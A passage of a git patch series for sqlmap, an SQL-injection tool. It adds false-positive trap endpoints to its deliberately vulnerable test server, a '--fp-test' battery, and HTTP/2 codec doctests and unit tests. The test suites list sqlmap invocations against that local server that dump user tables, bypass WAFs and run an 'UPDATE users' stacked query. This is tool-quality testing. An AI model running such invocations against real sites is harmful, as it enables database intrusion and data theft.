lib/core/testing.py +96d107a31bb9647a9b7c26f10beac528bf4edc6e607c8b776c624d494332c7f8 lib/core/testing.py 95656c44bab1771f4808030dd6a17eae5b129cb1234443f00b19695c7b712b86 lib/core/threads.py b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unescaper.py 53e396902cb2546eaa09e77073fcba8be8827ee9ce055cfc899e81b0e6ad4d6d lib/core/update.py 2400e465fa4d13e4c32795910878c71ff212e4361b46428d57ce43983f5e997c lib/core/wordlist.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/__init__.py 54bfd31ebded3ffa5848df1c644f196eb704116517c7a3d860b5d081e984d821 lib/parse/banner.py -403ebb5b54531cf907a30ed439fc881cf3cbae68c3a4ec600c75312e5f6b9001 lib/parse/cmdline.py +d6ba23b8f3d40cb021de1ebe50eabf891f060df77e9643838ff8fd3850b507d0 lib/parse/cmdline.py 02d82e4069bd98c52755417f8b8e306d79945672656ac24f1a45e7a6eff4b158 lib/parse/configfile.py c5b258be7485089fac9d9cd179960e774fbd85e62836dc67cce76cc028bb6aeb lib/parse/handler.py 5c9a9caee948843d5537745640cc7b98d70a0412cc0949f59d4ebe8b2907c06c lib/parse/headers.py @@ -509,7 +509,7 @@ cedf45d33461bd7e5400d06611a63c8a4ffae1a4510030c5696b9d46ed6a9883 plugins/generi 46517f1444c202710e388873960130850ed092e17bd6f4dd5f2fedea3dbb8ffc sqlmapapi.py f09d1b06901e7e02d0dbf4de607f6a4a9889acc322ae9353b98ea9101fb9548a sqlmapapi.yaml 627d90f1194335b800cbc9cc78db6697cf9e02e193a83598e0d4d0abb55b63b8 sqlmap.conf -41fa63d55909cf00a0bb02e979c4f2c0ad7df4b32a89374150772b247fa96fc2 sqlmap.py +d375c77f1f4270ec0967e67963fe410f14b5d2e51ed6483593dc1aaa4e8e106e sqlmap.py eb37a88357522fd7ad00d90cdc5da6b57442b4fec49366aadb2944c4fbf8b804 tamper/0eunion.py a9785a4c111d6fee2e6d26466ba5efb3b229c00520b26e8024b041553b53efba tamper/apostrophemask.py cf26bc8006519bd25ce06d347f72770cd75b61575cf65e5812274e8ab9392eb4 tamper/apostrophenullencode.py diff --git a/extra/vulnserver/vulnserver.py b/extra/vulnserver/vulnserver.py index f20c318eb..80290048c 100644 --- a/extra/vulnserver/vulnserver.py +++ b/extra/vulnserver/vulnserver.py @@ -17,6 +17,7 @@ import sqlite3 import string import sys import threading +import time import traceback PY3 = sys.version_info >= (3, 0) @@ -1044,6 +1045,57 @@ class ReqHandler(BaseHTTPRequestHandler): self.wfile.write(output.encode(UNICODE_ENCODING)) return + if self.url == "/fp": + # False-positive battery traps (exercised on demand by '--fp-test'). Every trap is + # deliberately NON-injectable but baits a specific FP defense; sqlmap must report "not + # injectable" for all of them (each is paired, in FP_TESTS, with a real injectable twin). + trap = self.params.get("trap", "reflect") + idv = self.params.get("id", "1") + + def _rnd(n=8): + return "".join(random.choice("0123456789abcdef") for _ in range(n)) + + if trap == "intcast": + # parameterized int lookup: id=1 -> row, non-int (e.g. "1 AND 1=1") -> empty. A boolean + # payload yields a differential yet it is NOT SQLi -> the false-positive check must reject it. + try: + hit = int(idv) in (1, 2, 3) + except ValueError: + hit = False + output = "SQL results:%s
" % ("%slutherblisset" % idv if hit else "") + elif trap == "structrand": + # heavy dynamic TEXT (defeats dynamic-content removal) + STABLE structure; id is not + # reflected into the structure -> stresses the structure-aware comparison oracle. + rows = "".join("%s%s" % (_rnd(), _rnd()) for _ in range(3)) + output = ("Report
%s
" + "%s
" + "
%s
" % (_rnd(), _rnd(), rows, _rnd())) + elif trap == "acceptall": + # 200 + identical content for EVERYTHING incl. garbage -> the reads-everything-true channel. + output = "OK welcome to the portal" + elif trap == "reflect": + # echoes the parameter verbatim (reflection) with no SQL sink. + output = "you searched for: %s" % idv + elif trap == "errors": + # DB-error-looking text for any non-baseline input -> baits error-based detection. + output = "Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result" if idv != "1" else "SQL results:
1luther
" + elif trap == "lengthrand": + # response length varies at random (not with the payload) -> baits length-based heuristics. + output = "ok %s" % _rnd(random.choice([4, 40, 400])) + elif trap == "slowrand": + # random latency, uncorrelated with the payload -> baits time-based detection. + time.sleep(random.choice([0, 0, 0, 1])) + output = "ok %s" % _rnd() + else: + output = "?" + + self.send_response(OK) + self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING) + self.send_header("Connection", "close") + self.end_headers() + self.wfile.write(output.encode(UNICODE_ENCODING)) + return + if self.url == '/': if not any(_ in self.params for _ in ("id", "query")): self.send_response(OK) diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index 7b05a0652..21c6cfa37 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -282,6 +282,7 @@ optDict = { "forceDns": "boolean", "murphyRate": "integer", "smokeTest": "boolean", + "fpTest": "boolean", "apiTest": "boolean", }, diff --git a/lib/core/settings.py b/lib/core/settings.py index f1fc8935e..0c7de36ad 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.3" +VERSION = "1.10.7.4" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/testing.py b/lib/core/testing.py index e1414e43e..787d049ce 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -41,12 +41,12 @@ from lib.core.patch import unisonRandom from lib.core.settings import IS_WIN from lib.core.settings import RESTAPI_VERSION -def vulnTest(): +def vulnTest(tests=None, label="vuln"): """ - Runs the testing against 'vulnserver' + Runs the testing against 'vulnserver' (default suite, or a caller-supplied one e.g. FP_TESTS) """ - TESTS = ( + TESTS = tests if tests is not None else ( ("-h", ("to see full list of options run with '-hh'",)), ("--dependencies", ("sqlmap requires", "third-party library")), ("-u --data=\"reflect=1\" --flush-session --wizard --disable-coloring", ("Please choose:", "back-end DBMS: SQLite", "current user is DBA: True", "banner: '3.")), @@ -63,7 +63,7 @@ def vulnTest(): ("-u --data=\"security_level=3\" -p id --flush-session --technique=B", ("bypassed the WAF/IPS by using tamper script", "Type: boolean-based blind")), # automatic WAF-bypass: SQL-tamper dimension at a stricter signature threshold ("-u --data=\"security_level=4\" -p id --flush-session --technique=B --banner", ("random (non-scanner) User-Agent and browser-like headers to bypass the WAF/IPS", "Type: boolean-based blind", "banner: '3.")), # automatic WAF-bypass against a libinjection-class WAF: tampers cannot help, only the non-scanner User-Agent does ("-u --data=\"security_level=5\" -p id --flush-session --technique=B", ("unable to automatically bypass the WAF/IPS", "does not seem to be injectable")), # automatic WAF-bypass honest bail: a libinjection-class WAF that no User-Agent or tamper can defeat - ("-u -p id --flush-session --proof", ("sqlmap proved exploitation of the following injection point", "Parameter: id (GET)", "Technique: boolean-based blind", "TRUE (5/5)", "repeatably", "Retrieved: back-end DBMS banner '3.")), # --proof: report-grade proof in the injection-point style - forces the boolean technique (so a multi-technique point still proves), and actively reads a value out as the strongest proof + ("-u -p id --flush-session --technique=B --proof", ("sqlmap proved exploitation of the following injection point", "Parameter: id (GET)", "Technique: boolean-based blind", "TRUE (5/5)", "repeatably", "Retrieved: back-end DBMS banner '3.")), # --proof: report-grade proof in the injection-point style - forces the boolean technique (so a multi-technique point still proves), and actively reads a value out as the strongest proof ("-r --flush-session -v 5 --test-skip=\"heavy\" --save=", ("CloudFlare", "web application technology: Express", "possible DBMS: 'SQLite'", "User-Agent: foobar", "~Type: time-based blind", "saved command line options to the configuration file")), ("-c ", ("CloudFlare", "possible DBMS: 'SQLite'", "User-Agent: foobar", "~Type: time-based blind")), ("-l --flush-session --skip-waf -vvvvv --technique=U --union-from=users --banner --parse-errors", ("banner: '3.", "ORDER BY term out of range", "~xp_cmdshell", "Connection: keep-alive")), @@ -73,7 +73,7 @@ def vulnTest(): ("-u -p id --base64=id --data=\"base64=true\" --flush-session --tables --technique=U", (" users ",)), ("-u --flush-session --banner --technique=B --disable-precon --not-string \"no results\"", ("banner: '3.",)), ("-u --flush-session --encoding=gbk --banner --technique=B --first=1 --last=2", ("banner: '3.'",)), - ("-u --flush-session --encoding=ascii --forms --crawl=2 --threads=2 --banner", ("total of 2 targets", "might be injectable", "Type: UNION query", "banner: '3.")), + ("-u --flush-session --technique=BU --encoding=ascii --forms --crawl=2 --threads=2 --banner", ("total of 2 targets", "might be injectable", "Type: UNION query", "banner: '3.")), ("-u --flush-session --technique=BU --data=\"{\\\"id\\\": 1}\" --banner", ("might be injectable", "3 columns", "Payload: {\"id\"", "Type: boolean-based blind", "Type: UNION query", "banner: '3.")), ("-u --flush-session -H \"Foo: Bar\" -H \"Sna: Fu\" --data=\"\" --union-char=1 --mobile --answers=\"smartphone=3\" --banner --smart -v 5", ("might be injectable", "Payload: --flush-session --technique=BU --method=PUT --data=\"a=1;id=1;b=2\" --param-del=\";\" --skip-static --har= --dump -T users --start=1 --stop=2", ("might be injectable", "Parameter: id (PUT)", "Type: boolean-based blind", "Type: UNION query", "2 entries")), @@ -83,7 +83,7 @@ def vulnTest(): ("-u --flush-session --null-connection --technique=B --tamper=between,randomcase --banner --count -T users", ("NULL connection is supported with HEAD method", "banner: '3.", "users | 30")), ("-u --data=\"aWQ9MQ==\" --flush-session --base64=POST -v 6", ("aWQ9MTtXQUlURk9SIERFTEFZICcwOjA",)), ("-u --flush-session --parse-errors --test-filter=\"subquery\" --eval=\"import hashlib; id2=2; id3=hashlib.md5(id.encode()).hexdigest()\" --referer=\"localhost\"", ("might be injectable", ": syntax error", "back-end DBMS: SQLite", "WHERE or HAVING clause (subquery")), - ("-u --banner --schema --dump -T users --binary-fields=surname --where \"id>3\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "27 entries", "6E616D6569736E756C6C")), + ("-u --technique=BU --banner --schema --dump -T users --binary-fields=surname --where \"id>3\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "27 entries", "6E616D6569736E756C6C")), ("-u --technique=U --fresh-queries --force-partial --dump -T users --dump-format=HTML --answers=\"crack=n\" -v 3", ("performed 31 queries", "nameisnull", "~using default dictionary", "dumped to HTML file")), ("-u --flush-session --technique=BU --all", ("30 entries", "Type: boolean-based blind", "Type: UNION query", "luther", "blisset", "fluffy", "179ad45c6ce2cb97cf1029e212046e81", "NULL", "nameisnull", "testpass")), ("-u --flush-session --technique=B --keyset --dump -T users", ("using keyset (seek) pagination", "30 entries", "luther", "nameisnull")), # keyset/seek dump via the SQLite rowid cursor @@ -97,7 +97,7 @@ def vulnTest(): ("-u \"&query=*\" --flush-session --technique=Q --banner", ("Title: SQLite inline queries", "banner: '3.")), ("-d \"\" --flush-session --dump -T creds --dump-format=SQLITE --binary-fields=password_hash --where \"user_id=5\"", ("3137396164343563366365326362393763663130323965323132303436653831", "dumped to SQLITE database")), ("-d \"\" --flush-session --banner --schema --sql-query=\"UPDATE users SET name='foobar' WHERE id=4; SELECT * FROM users; SELECT 987654321\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "4,foobar,nameisnull", "'987654321'",)), - ("-u csrf --data=\"id=1&csrf_token=1\" --banner --answers=\"update=y\" --flush-session", ("back-end DBMS: SQLite", "banner: '3.")), + ("-u csrf --data=\"id=1&csrf_token=1\" --banner --answers=\"update=y\" --flush-session --technique=B", ("back-end DBMS: SQLite", "banner: '3.")), ("--purge -v 3", ("~ERROR", "~CRITICAL", "deleting the whole directory tree")), ) @@ -263,9 +263,9 @@ def vulnTest(): clearConsoleLine() if retVal: - logger.info("vuln test final result: PASSED") + logger.info("%s test final result: PASSED" % label) else: - logger.error("vuln test final result: FAILED") + logger.error("%s test final result: FAILED" % label) for filename in cleanups: try: @@ -280,6 +280,31 @@ def vulnTest(): return retVal +def fpTest(): + """ + On-demand false-positive battery ('--fp-test'): a set of deliberately NON-injectable traps that + each bait a specific FP defense (boolean confirmation, dynamic-content removal, structure-aware + comparison, canary/sanity gate, reflection, error-regex specificity, length and time heuristics), + paired with real injectable twins. An A+ engine rejects every trap AND still detects every twin. + Kept out of the default '--vuln-test' (CI budget); run explicitly against 'vulnserver'. + """ + + FP_TESTS = ( + # false-positive traps -> sqlmap MUST NOT flag these as injectable + ("-u \"fp?trap=intcast&id=1\" -p id --technique=BEU --level=3 --risk=2 --flush-session", ("~identified the following injection point", "do not appear to be injectable")), # boolean confirmation / checkFalsePositives + ("-u \"fp?trap=structrand&id=1\" -p id --technique=BEU --level=3 --risk=2 --flush-session", ("~identified the following injection point", "do not appear to be injectable")), # structure-aware comparison + ("-u \"fp?trap=acceptall&id=1\" -p id --technique=BEU --level=3 --risk=2 --flush-session", ("~identified the following injection point", "do not appear to be injectable")), # canary / sanity gate (reads-everything-true) + ("-u \"fp?trap=reflect&id=1\" -p id --technique=BEU --level=3 --risk=2 --flush-session", ("~identified the following injection point", "do not appear to be injectable")), # reflection handling + ("-u \"fp?trap=errors&id=1\" -p id --technique=BE --level=3 --risk=2 --flush-session", ("~identified the following injection point", "do not appear to be injectable")), # error-regex specificity + ("-u \"fp?trap=lengthrand&id=1\" -p id --technique=BEU --level=3 --risk=2 --flush-session", ("~identified the following injection point", "do not appear to be injectable")), # length heuristics + ("-u \"fp?trap=slowrand&id=1\" -p id --technique=T --flush-session", ("~identified the following injection point", "do not appear to be injectable")), # time-based statistical model + # true-positive twins -> sqlmap MUST still detect real injection (the discrimination that makes it A+) + ("-u -p id --technique=B --flush-session", ("identified the following injection point", "Type: boolean-based blind")), + ("-u \"&json=1\" -p id --technique=B --flush-session", ("identified the following injection point",)), + ) + + return vulnTest(tests=FP_TESTS, label="fp") + def apiTest(): """ Runs a basic live test of the REST API: launches the server in a separate process diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 086ffd903..b12f05281 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -912,6 +912,9 @@ def cmdLineParser(argv=None): parser.add_argument("--vuln-test", dest="vulnTest", action="store_true", help=SUPPRESS) + parser.add_argument("--fp-test", dest="fpTest", action="store_true", + help=SUPPRESS) + parser.add_argument("--api-test", dest="apiTest", action="store_true", help=SUPPRESS) @@ -1169,7 +1172,7 @@ def cmdLineParser(argv=None): else: args.stdinPipe = None - if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.vulnTest, args.apiTest, args.wizard, args.dependencies, args.purge, args.listTampers, args.hashFile, args.stdinPipe)): + if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.vulnTest, args.fpTest, args.apiTest, args.wizard, args.dependencies, args.purge, args.listTampers, args.hashFile, args.stdinPipe)): errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, --wizard, --shell, --update, --purge, --list-tampers or --dependencies). " errMsg += "Use -h for basic and -hh for advanced help\n" parser.error(errMsg) diff --git a/sqlmap.py b/sqlmap.py index 3667ca270..59c7e8510 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -192,6 +192,9 @@ def main(): elif conf.vulnTest: from lib.core.testing import vulnTest os._exitcode = 1 - (vulnTest() or 0) + elif conf.fpTest: + from lib.core.testing import fpTest + os._exitcode = 1 - (fpTest() or 0) elif conf.apiTest: from lib.core.testing import apiTest os._exitcode = 1 - (apiTest() or 0) @@ -607,7 +610,7 @@ def main(): except OSError: pass - if any((conf.vulnTest, conf.smokeTest, conf.apiTest)) or not filterNone(filepath for filepath in glob.glob(os.path.join(tempDir, '*')) if not any(filepath.endswith(_) for _ in (".lock", ".exe", ".so", '_'))): # ignore junk files + if any((conf.vulnTest, conf.fpTest, conf.smokeTest, conf.apiTest)) or not filterNone(filepath for filepath in glob.glob(os.path.join(tempDir, '*')) if not any(filepath.endswith(_) for _ in (".lock", ".exe", ".so", '_'))): # ignore junk files try: shutil.rmtree(tempDir, ignore_errors=True) except OSError: From 62a7bf3b03c60d8b31ccf28e24a4d6e010fa9f7d Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Wed, 1 Jul 2026 15:19:30 +0200 Subject: [PATCH 112/165] Adding tests for http2 functionality --- data/txt/sha256sums.txt | 5 +- lib/core/settings.py | 2 +- lib/request/http2.py | 43 +++++- tests/test_http2.py | 283 ++++++++++++++++++++++++++++++++++++++++ 4 files changed, 329 insertions(+), 4 deletions(-) create mode 100644 tests/test_http2.py diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 956c8865d..751527657 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ f8de57606325456928e46ae2896f5f8bbec9ad18b1c644b492a566fa992216f6 lib/core/decor 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -61024490352e898a43f1cb001fb79276d185ef3579b6230df46badf573336833 lib/core/settings.py +39884227376b9370b8ef246d791b98346a7acba146f9ca12a5bf540a252b31ba lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py @@ -215,7 +215,7 @@ bc61bc944b81a7670884f82231033a6ac703324b34b071c9834886a92e249d0e lib/request/ch c96deaa69743d2cf4ae48f2ae0036f7e11b838f97a0e8c7f1205c61e9dd36bc1 lib/request/connect.py 8e06682280fce062eef6174351bfebcb6040e19976acff9dc7b3699779783498 lib/request/direct.py a6b37b436838caeb197fea858d0a39fadbff4736256e741b5fcec1f28fcf1ce0 lib/request/dns.py -21e8e2d44788b124f741b76a483ce9528ca53ff6da6691808ee679fe91128050 lib/request/http2.py +3afb06089f2801d5a12458a313b278db62c17a8d8fd3b8c46f07670699119af3 lib/request/http2.py 92c81cc31ff4a396723242058fb2152c9e9745f8412d01ea74480b048a53af6c lib/request/httpshandler.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/request/__init__.py 7a0ac2522213e756348fd871a7af74cc963bdc82f9d7ade57be5de42b5bf7cab lib/request/inject.py @@ -622,6 +622,7 @@ f1f38f8b8ca667caadcb027d1a20eb895be4ef0935511114db235e66903bb463 tests/test_gra cc7677bc6c568c395112c1aa7d01e1d664e4d5940c86cb4d44987172864bae6f tests/test_hash_crack.py 0336c875dd2b6554bff6eafd746229e38c69ca8070cd933d45cf27c82ef3e05f tests/test_hashdb.py c04e8358fb6df45f69f2f26435c971acde280535bf304e84d30cf2681158c6a7 tests/test_hash.py +b23bf934dafe54c241761517a7b8c139159aa4b941db10832a626a51fea81e35 tests/test_http2.py d539d0ae758b5bb91e314ab82ab4fe03d6fb2f8b377d16aefa6d7d1d77a7d5a9 tests/test_identifiers_output.py 5372270b7ed82b62f273c2e9bd1f7ecd8605371e66cd0ad70663762cb08d42f1 tests/test_inference_engine.py 0fc7bd9bae4fbd09f51027780b7a8e72eab73810dccdfdf87ed9e489e6e671c9 tests/test_ldap.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 0c7de36ad..b844d9470 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.4" +VERSION = "1.10.7.5" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/http2.py b/lib/request/http2.py index 2af00c69e..81351db4c 100644 --- a/lib/request/http2.py +++ b/lib/request/http2.py @@ -154,6 +154,11 @@ FLAG_PRIORITY = 0x20 CONNECTION_PREFACE = b"PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n" def encode_frame(ftype, flags, stream_id, payload=b""): + """Serialize an HTTP/2 frame (RFC 7540 s4.1): 24-bit length + type + flags + 31-bit stream id. + + >>> decode_frame_header(encode_frame(HEADERS, FLAG_END_HEADERS, 1, b'abc')[:9]) + (3, 1, 4, 1) + """ if len(payload) > 0xffffff: raise ValueError("frame payload exceeds 24-bit length") header = struct.pack("!I", len(payload))[1:] # 24-bit length (drop MSB of the 32-bit pack) @@ -161,6 +166,11 @@ def encode_frame(ftype, flags, stream_id, payload=b""): return header + payload def decode_frame_header(nine): + """Parse the 9-byte frame header into (length, type, flags, stream_id); the reserved high bit of the stream id is masked off. + + >>> decode_frame_header(encode_frame(DATA, 0, 0x80000001, b'')[:9]) + (0, 0, 0, 1) + """ if len(nine) != 9: raise ValueError("frame header must be exactly 9 bytes") length = struct.unpack("!I", b"\x00" + nine[:3])[0] @@ -169,6 +179,13 @@ def decode_frame_header(nine): # ---------- Huffman ---------- def huffman_encode(data): + """Huffman-encode a byte string per the RFC 7541 static table (s5.2), padding with EOS 1-bits. + + >>> huffman_decode(huffman_encode(b'www.example.com')) == b'www.example.com' + True + >>> huffman_encode(b'') == b'' + True + """ if not data: return b"" acc = 0 @@ -224,6 +241,13 @@ def huffman_decode(data): # ---------- integer / string (RFC 7541 5.1 / 5.2) ---------- def encode_integer(value, prefix_bits, first_byte=0): + """Encode an integer with an N-bit prefix (RFC 7541 s5.1); the C.1.2 example is 1337 / 5-bit prefix. + + >>> list(encode_integer(10, 5)) + [10] + >>> list(encode_integer(1337, 5)) + [31, 154, 10] + """ mask = (1 << prefix_bits) - 1 if value < mask: return bytearray([first_byte | value]) @@ -236,6 +260,11 @@ def encode_integer(value, prefix_bits, first_byte=0): return out def decode_integer(data, pos, prefix_bits): + """Decode an N-bit-prefixed integer, returning (value, new_pos) (RFC 7541 s5.1). + + >>> decode_integer(bytearray([31, 154, 10]), 0, 5) + (1337, 3) + """ mask = (1 << prefix_bits) - 1 value = data[pos] & mask pos += 1 @@ -296,6 +325,11 @@ class Decoder(object): return self.dynamic[index] def decode(self, data): + """Decode an HPACK header block into a list of (name, value) byte pairs (RFC 7541 s6). + + >>> Decoder().decode(bytes(bytearray([0x82, 0x86, 0x84]))) == [(b':method', b'GET'), (b':scheme', b'http'), (b':path', b'/')] + True + """ data = bytearray(data) pos = 0 headers = [] @@ -469,7 +503,14 @@ def h2_request(host, port=443, method="GET", path="/", authority=None, headers=N class H2Response(object): """A urllib-response-compatible wrapper around a native HTTP/2 response, so the rest of sqlmap's - request pipeline can consume it exactly like a urllib response (code/msg/info()/read()/geturl()).""" + request pipeline can consume it exactly like a urllib response (code/msg/info()/read()/geturl()). + + >>> r = H2Response('https://x/', 200, [(b':status', b'200'), (b'content-type', b'text/html')], b'body') + >>> (r.code, r.msg, r.read() == b'body', r.geturl()) + (200, 'OK', True, 'https://x/') + >>> ':status' in r.info() + False + """ def __init__(self, url, status, headers, body): self.url = url diff --git a/tests/test_http2.py b/tests/test_http2.py new file mode 100644 index 000000000..7c7626481 --- /dev/null +++ b/tests/test_http2.py @@ -0,0 +1,283 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Unit coverage for the PURE (network-free) parts of the native HTTP/2 client in +lib/request/http2.py: the RFC 7540 frame codec, the RFC 7541 HPACK integer / +Huffman / string primitives, the HPACK Decoder/Encoder (static + dynamic table), +and the urllib-compatible H2Response wrapper. + +Nothing here opens a socket or negotiates TLS - only the deterministic codecs and +the response adapter are exercised. Known vectors are the canonical RFC 7541 +examples; everything else is a round-trip / invariant check. + +stdlib unittest only (no pytest / no pip); works on Python 2.7 and 3.x. +""" + +import binascii +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.request.http2 import ( + Decoder, + Encoder, + H2Response, + REDIRECT_CODES, + STATIC_LEN, + STATIC_TABLE, + DATA, + HEADERS, + FLAG_END_HEADERS, + FLAG_END_STREAM, + decode_frame_header, + decode_integer, + decode_string, + encode_frame, + encode_integer, + encode_string, + huffman_decode, + huffman_encode, +) + + +def _b(*ints): + # build a bytes object from ints (identical on Python 2 and 3) + return bytes(bytearray(ints)) + + +class TestFrameCodec(unittest.TestCase): + def test_roundtrip(self): + header = encode_frame(HEADERS, FLAG_END_HEADERS, 1, b"abc")[:9] + self.assertEqual(decode_frame_header(header), (3, HEADERS, FLAG_END_HEADERS, 1)) + + def test_payload_is_appended_verbatim(self): + frame = encode_frame(DATA, 0, 1, b"hello") + self.assertEqual(frame[9:], b"hello") + + def test_reserved_stream_bit_is_masked(self): + # the high (reserved) bit of the 31-bit stream id must be dropped on both ends + header = encode_frame(DATA, 0, 0x80000001, b"")[:9] + self.assertEqual(decode_frame_header(header), (0, DATA, 0, 1)) + + def test_zero_length_payload(self): + header = encode_frame(DATA, FLAG_END_STREAM, 1, b"")[:9] + length, _, flags, _ = decode_frame_header(header) + self.assertEqual(length, 0) + self.assertEqual(flags, FLAG_END_STREAM) + + def test_oversized_payload_rejected(self): + with self.assertRaises(ValueError): + encode_frame(DATA, 0, 1, b"x" * (0xFFFFFF + 1)) + + def test_bad_header_length_rejected(self): + with self.assertRaises(ValueError): + decode_frame_header(b"123") + + +class TestIntegerCoding(unittest.TestCase): + def test_rfc_c11_small(self): + # RFC 7541 C.1.1: 10 with a 5-bit prefix fits in the prefix + self.assertEqual(list(encode_integer(10, 5)), [10]) + + def test_rfc_c12_multibyte(self): + # RFC 7541 C.1.2: 1337 with a 5-bit prefix + self.assertEqual(list(encode_integer(1337, 5)), [31, 154, 10]) + self.assertEqual(decode_integer(bytearray([31, 154, 10]), 0, 5), (1337, 3)) + + def test_rfc_c13_full_byte_prefix(self): + # RFC 7541 C.1.3: 42 starting from a full (8-bit prefix at an octet boundary) + self.assertEqual(list(encode_integer(42, 8)), [42]) + + def test_roundtrip_across_prefixes(self): + for prefix in (4, 5, 6, 7, 8): + for value in (0, 1, 2, 30, 31, 32, 127, 128, 255, 256, 16384, 1000000): + encoded = bytearray(encode_integer(value, prefix)) + decoded, pos = decode_integer(encoded, 0, prefix) + self.assertEqual(decoded, value) + self.assertEqual(pos, len(encoded)) + + def test_first_byte_bits_preserved(self): + # a caller-supplied opcode in the high bits must survive a small value + self.assertEqual(bytearray(encode_integer(5, 7, 0x80))[0], 0x80 | 5) + + +class TestHuffman(unittest.TestCase): + def test_known_vector_www_example_com(self): + # RFC 7541 C.4.1 + self.assertEqual(binascii.hexlify(huffman_encode(b"www.example.com")), b"f1e3c2e5f23a6ba0ab90f4ff") + + def test_empty(self): + self.assertEqual(huffman_encode(b""), b"") + self.assertEqual(huffman_decode(b""), b"") + + def test_roundtrip(self): + for sample in (b"a", b"hello world", b"/index.html?a=1&b=2", + b"GET", b"application/json", b"ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789", + bytes(bytearray(range(256)))): + self.assertEqual(huffman_decode(huffman_encode(sample)), sample) + + def test_shrinks_typical_text(self): + sample = b"www.example.com" + self.assertLess(len(huffman_encode(sample)), len(sample)) + + def test_padding_too_long_rejected(self): + # 0xfe walks eight 1-bits into a long (unterminated) code -> more than a byte of padding + with self.assertRaises(ValueError): + huffman_decode(_b(0xFE)) + + +class TestStringCoding(unittest.TestCase): + def test_huffman_branch_roundtrip(self): + encoded = encode_string(b"custom-value") + self.assertTrue(bytearray(encoded)[0] & 0x80) # huffman flag set for compressible text + self.assertEqual(decode_string(bytearray(encoded), 0), (b"custom-value", len(encoded))) + + def test_literal_branch_when_huffman_would_not_shrink(self): + encoded = encode_string(_b(0xFF)) + self.assertFalse(bytearray(encoded)[0] & 0x80) # falls back to a literal string + self.assertEqual(decode_string(bytearray(encoded), 0), (_b(0xFF), len(encoded))) + + def test_disable_huffman(self): + encoded = encode_string(b"abc", huffman=False) + self.assertFalse(bytearray(encoded)[0] & 0x80) + self.assertEqual(decode_string(bytearray(encoded), 0), (b"abc", len(encoded))) + + +class TestHpackDecoder(unittest.TestCase): + def test_indexed_static_entries(self): + # 0x82/0x86/0x84 -> static indices 2, 6, 4 + self.assertEqual( + Decoder().decode(_b(0x82, 0x86, 0x84)), + [(b":method", b"GET"), (b":scheme", b"http"), (b":path", b"/")], + ) + + def test_static_lookup_bounds(self): + d = Decoder() + self.assertEqual(d._get(1), (b":authority", b"")) + self.assertEqual(d._get(2), (b":method", b"GET")) + self.assertEqual(d._get(STATIC_LEN), STATIC_TABLE[-1]) + + def test_index_zero_rejected(self): + with self.assertRaises(ValueError): + Decoder()._get(0) + + def test_index_out_of_range_rejected(self): + with self.assertRaises(ValueError): + Decoder()._get(STATIC_LEN + 1) # no dynamic entries yet + + def test_literal_incremental_indexing_populates_dynamic_table(self): + # 0x40 = literal with incremental indexing, new name + block = bytearray([0x40]) + encode_string(b"custom-key") + encode_string(b"custom-value") + d = Decoder() + self.assertEqual(d.decode(bytes(block)), [(b"custom-key", b"custom-value")]) + # entry is now addressable at the first dynamic index (STATIC_LEN + 1) + 